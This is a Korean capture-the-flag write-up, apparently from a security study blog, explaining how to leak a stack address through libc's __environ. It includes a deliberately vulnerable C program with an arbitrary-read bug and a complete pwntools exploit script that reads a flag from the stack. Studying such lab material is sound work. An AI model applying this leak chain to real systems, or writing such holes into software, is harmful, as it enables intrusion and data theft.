환경변수
: 시스템의 정보를 가지고 있는 동적인 값, 사용자가 추가 및 수정, 삭제 가능
: 환경변수에 대한 정보는 스택 영역에 존재
:
명령어 > 환경변수에 명시된 "/bin", "/usr/bin" 등의 디렉터리를 통해 명령어 접근 및 실행
라이브러리 실행 시에도 환경변수를 참조 (== 포인터 선언 존재) >> 스택 주소 획득 !
(바이너리 내에서 스택 주소를 찾는 것은 거의 불가능)
전역 변수 __environ
: execve 계열 함수와 getenv 등 혼경변수와 관련된 함수에서 참조하는 변수
__environ
- amd64-64
- full RELRO, canary, nx, pie 싹 다 적용
코드
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
//flag 파일에 접근
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
// stdout 주소 노출
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
// 임의 주소 읽기 취약점
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
시나리오
1. __environ 주소 계산
stdout 포인터 주소 >> libc 주소 >> __environ 포인터 주소
2. stack 주소 계산
"./flag" 파일의 내용이 저장된 stack 버퍼 주소 계산
3. 파일 내용 read
임의 주소 읽기 취약점을 통해 해당 스택 버퍼 출력
Exploit
1. __environ 주소 계산
이전의 linux library :: _rtld 의 실습과 동일하다.
from pwn import *
p = remote("host3.dreamhack.games", 8306)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['_environ']
print('libc_base: ', hex(libc_base))
print('libc_environ: ', hex(libc_environ))
p.interactive()
2. stack 주소 계산
"./flag" 파일의 내용이 저장된 stack 버퍼 주소 계산
임의 주소 읽기 취약점을 통해 해당 스택 버퍼 출력
: read_file의 함수 읽기 부분에서 읽어올 함수 인자 확인하면 파일의 내용은 rcx 레지스터에 저장됨!
-> 해당 주소에 파일의 내용이 저장될 스택 버퍼 주소 :: rcx 확인
해당 지점에 bp걸고 r하여 rcx값 알아내고
{p/x __environ} - {x/gx $rcx} 값 을 구하면 0x1568임을 알 수 있다.
3. 파일 내용 read
두 주소의 간격을 알아냈음으로 1번에서 알아낸 _environ addr에서 0x1568을 빼면 stack위치 알 수있다.
이를 임의 주소읽기 취약점을 통해서 알아내보자.
# ++
p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(libc_environ).encode())
p.recv(1)
# 받은 값을 8바이트로 패딩 후, 64비트로 변환
stack_environ = u64(p.recv(6).ljust(8, b'\x00'))
file_content = stack_environ - 0x1568
print('stack_environ..', hex(stack_environ))
p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(file_content).encode())
p.interactive()
Exploit code
from pwn import *
p = remote("host3.dreamhack.games", 8306)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['_environ']
print('libc_base: ', hex(libc_base))
print('libc_environ: ', hex(libc_environ))
# ++
p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(libc_environ).encode())
p.recv(1)
# 받은 값을 8바이트로 패딩 후, 64비트로 변환
stack_environ = u64(p.recv(6).ljust(8, b'\x00'))
file_content = stack_environ - 0x1568
print('stack_environ..', hex(stack_environ))
p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(file_content).encode())
p.interactive()
'System Hacking' 카테고리의 다른 글
_IO_FILE (0) | 2024.03.30 |
---|---|
SigReturn-Oriented Programming (0) | 2024.03.30 |
linux library exploit :: _rtld_global (0) | 2024.03.28 |
Master Canary (2) | 2024.03.24 |
SECCOMP (0) | 2024.03.23 |